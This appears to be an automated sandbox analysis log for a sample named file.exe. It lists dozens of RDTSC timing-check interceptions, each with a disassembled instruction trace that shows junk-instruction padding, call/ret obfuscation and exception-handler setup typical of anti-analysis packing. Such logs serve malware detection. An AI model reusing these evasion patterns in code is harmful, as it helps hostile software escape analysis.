Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9BB3 second address: 6E9BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F8F08E68346h 0x0000000d jnp 00007F8F08E68346h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9CED second address: 6E9D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9D0A second address: 6E9D1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F08E6834Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC369 second address: 6EC38A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8F08BF29C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F08BF29D3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC38A second address: 6EC3A0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F08E68348h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC3A0 second address: 6EC3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC3A4 second address: 6EC3A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC3A8 second address: 6EC3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC540 second address: 6EC559 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC559 second address: 6EC55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC892 second address: 6EC89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC89A second address: 6EC89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC89E second address: 6EC8B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8F08E6834Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED0CB second address: 6ED0D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED3DB second address: 6ED3E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDAA1 second address: 6EDAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDAA5 second address: 6EDAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDAAB second address: 6EDAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDAAF second address: 6EDAB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE544 second address: 6EE554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE554 second address: 6EE558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE558 second address: 6EE566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F8F08BF29CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFE06 second address: 6EFE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFE0B second address: 6EFE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0A69 second address: 6F0A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0A7A second address: 6F0A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jg 00007F8F08BF29D0h 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F237C second address: 6F2380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2380 second address: 6F23F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F8F08BF29C8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 xor dword ptr [ebp+122D1875h], esi 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F8F08BF29C8h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F8F08BF29D9h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2129 second address: 6F212D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F23F0 second address: 6F23F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F212D second address: 6F2156 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68357h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F08E6834Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F23F5 second address: 6F23FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2BAD second address: 6F2BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3779 second address: 6F377D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9596 second address: 6F95A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F95A0 second address: 6F95A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F95A5 second address: 6F9616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08E68351h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F8F08E6834Eh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F8F08E68348h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ebx, dword ptr [ebp+12453A5Dh] 0x00000033 movzx ebx, cx 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 pop edi 0x0000003a push 00000000h 0x0000003c mov di, 8AAEh 0x00000040 pushad 0x00000041 mov dword ptr [ebp+1244CA81h], esi 0x00000047 mov ax, di 0x0000004a popad 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f push ebx 0x00000050 pop ebx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9616 second address: 6F961A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F881C second address: 6F8820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC6BF second address: 6FC74E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8F08BF29CDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 add edi, 35C7BA97h 0x00000016 adc edi, 76A7B0BAh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F8F08BF29C8h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 mov dword ptr [ebp+1244CB25h], ecx 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebp 0x00000043 call 00007F8F08BF29C8h 0x00000048 pop ebp 0x00000049 mov dword ptr [esp+04h], ebp 0x0000004d add dword ptr [esp+04h], 0000001Ch 0x00000055 inc ebp 0x00000056 push ebp 0x00000057 ret 0x00000058 pop ebp 0x00000059 ret 0x0000005a xchg eax, esi 0x0000005b jmp 00007F8F08BF29D9h 0x00000060 push eax 0x00000061 pushad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB8C3 second address: 6FB8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08E6834Bh 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7006EC second address: 7006F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7006F2 second address: 70073E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D3003h], edi 0x0000000f push 00000000h 0x00000011 jmp 00007F8F08E6834Fh 0x00000016 push 00000000h 0x00000018 mov ebx, 16BCBD95h 0x0000001d xchg eax, esi 0x0000001e jmp 00007F8F08E68350h 0x00000023 push eax 0x00000024 pushad 0x00000025 jmp 00007F8F08E6834Fh 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701700 second address: 701734 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F08BF29D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F08BF29D2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701734 second address: 701738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70368E second address: 7036AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F8F08BF29CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7036AF second address: 7036B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE796 second address: 6FE79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A5EA second address: 70A609 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F08E68355h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A609 second address: 70A61F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8F08BF29C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e jbe 00007F8F08BF29D2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF81E second address: 6FF822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70282B second address: 702830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702830 second address: 70283D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70283D second address: 7028C3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F08BF29C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c mov dword ptr [ebp+12472E15h], edx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+122D1C02h], eax 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F8F08BF29C8h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 mov eax, dword ptr [ebp+122D14A9h] 0x00000046 mov edi, dword ptr [ebp+122D3A2Ch] 0x0000004c push FFFFFFFFh 0x0000004e and edi, dword ptr [ebp+122D299Ch] 0x00000054 mov dword ptr [ebp+12453521h], ebx 0x0000005a nop 0x0000005b jl 00007F8F08BF29DDh 0x00000061 jmp 00007F8F08BF29D7h 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7028C3 second address: 7028C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70382B second address: 703831 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70491F second address: 704923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704923 second address: 70493B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70493B second address: 704940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704940 second address: 704946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7059A7 second address: 7059D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68355h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F08E6834Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7059D0 second address: 705A8E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F8F08BF29C6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jns 00007F8F08BF29C6h 0x00000013 mov ebx, dword ptr [ebp+124731C7h] 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov edi, 7E422204h 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F8F08BF29C8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 sub dword ptr [ebp+122D5AAFh], esi 0x0000004c mov eax, dword ptr [ebp+122D024Dh] 0x00000052 mov edi, dword ptr [ebp+122D18EDh] 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push edx 0x0000005d call 00007F8F08BF29C8h 0x00000062 pop edx 0x00000063 mov dword ptr [esp+04h], edx 0x00000067 add dword ptr [esp+04h], 0000001Dh 0x0000006f inc edx 0x00000070 push edx 0x00000071 ret 0x00000072 pop edx 0x00000073 ret 0x00000074 sub di, A3A6h 0x00000079 nop 0x0000007a jp 00007F8F08BF29E3h 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 ja 00007F8F08BF29C8h 0x00000089 push ebx 0x0000008a pop ebx 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ED74 second address: 70ED7E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8F08E68352h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ED7E second address: 70EDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8F08BF29C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F8F08BF29FAh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007F8F08BF29D0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EEEB second address: 70EF47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F08E68353h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8F08E6834Dh 0x00000010 jmp 00007F8F08E68352h 0x00000015 popad 0x00000016 js 00007F8F08E68372h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 jmp 00007F8F08E68359h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F08D second address: 70F094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9455 second address: 6A9464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 js 00007F8F08E68346h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A246 second address: 71A24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A24F second address: 71A253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A97A second address: 71A980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A980 second address: 71A98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A98A second address: 71A9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jng 00007F8F08BF29C6h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A9A1 second address: 71A9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71AFEC second address: 71B03C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F8F08BF29CFh 0x0000000f je 00007F8F08BF29DFh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B304 second address: 71B30C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7238D5 second address: 7238E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7225FC second address: 722603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722603 second address: 72261F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F8F08BF29C6h 0x00000009 jnl 00007F8F08BF29C6h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F8F08BF29C6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72261F second address: 72264C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68350h 0x00000007 jg 00007F8F08E68346h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jo 00007F8F08E68346h 0x00000016 jmp 00007F8F08E6834Bh 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7227AB second address: 7227B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7227B1 second address: 7227B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722BCA second address: 722BEE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8F08BF29C6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8F08BF29D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722BEE second address: 722C17 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F08E68357h 0x00000008 jbe 00007F8F08E68346h 0x0000000e jmp 00007F8F08E6834Bh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F8F08E6834Ch 0x0000001d rdtsc
